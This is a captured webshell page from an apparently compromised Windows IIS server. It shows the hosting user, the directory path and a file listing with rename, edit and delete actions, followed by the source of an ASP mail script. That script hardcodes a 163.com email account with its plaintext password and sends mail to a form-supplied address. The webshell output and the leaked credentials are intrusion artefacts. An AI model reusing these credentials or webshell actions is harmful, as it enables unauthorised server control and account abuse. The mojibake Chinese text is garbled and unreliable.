Webshell Akmal archtte id

System: Microsoft Windows NT 10.0.20348.0

Server: Microsoft-IIS/10.0

User: buyyou

Directory: C:\MyData\WWW\asc365\

Name	Size	Type	Actions
ASC365_CANADA	-	Directory	Rename Delete
ASC365_Store01	-	Directory	Rename Delete
aspnet_client	-	Directory	Rename Delete
CompanyImage	-	Directory	Rename Delete
TJGS_USA	-	Directory	Rename Delete
zhijian	-	Directory	Rename Delete
Memo.inc	0 bytes	.inc	Edit Rename Delete
web.config	213 bytes	.config	Edit Rename Delete

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>�ޱ����ĵ�</title>
<% 
E_Server = "mail.163.com" ''���������� 
E_ServerUser = "damao7000@163.com" ''��¼�û��� 
E_ServerPass = "714912erick" ''��¼���� 
E_SendManMail = "damao7000@163.com" ''�������ʼ���ַ 
E_SendManName = "ϵͳ����Ա" ''����������

Sub Jmail(Email,Topic,Mailbody) 
On Error Resume Next 
Dim JMail 
Set JMail = Server.CreateObject("JMail.Message") 
JMail.silent=true 
JMail.Logging = True 
JMail.Charset = "gb2312" 
If Not(E_ServerUser = "" Or E_ServerPass = "") Then 
JMail.MailServerUserName = E_ServerUser 
JMail.MailServerPassword = E_ServerPass 
End If 
JMail.ContentType = "text/html" 
JMail.Priority = 1 
JMail.From = E_SendManMail 
JMail.FromName = E_SendManName 
JMail.AddRecipient Email 
JMail.Subject = Topic 
JMail.Body = Mailbody 
JMail.Send (E_Server) 
Set JMail = Nothing 
SendMail = "OK" 
If Err Then SendMail = "False" 
End Sub

useremail2=Request.form("email2")
userpassword2=Request.Form("password2")

dim SendMail 
Sub SendEmail(Mailto,Subject,HtmlCode,SendMode) 
if SendMode="" then SendMode="Jmail" 
if SendMode="Jmail" then 
Jmail MailTo,Subject,HtmlCode 
end if 
End Sub 
SendEmail useremail2,"����","����","Jmail" 
%>

</head>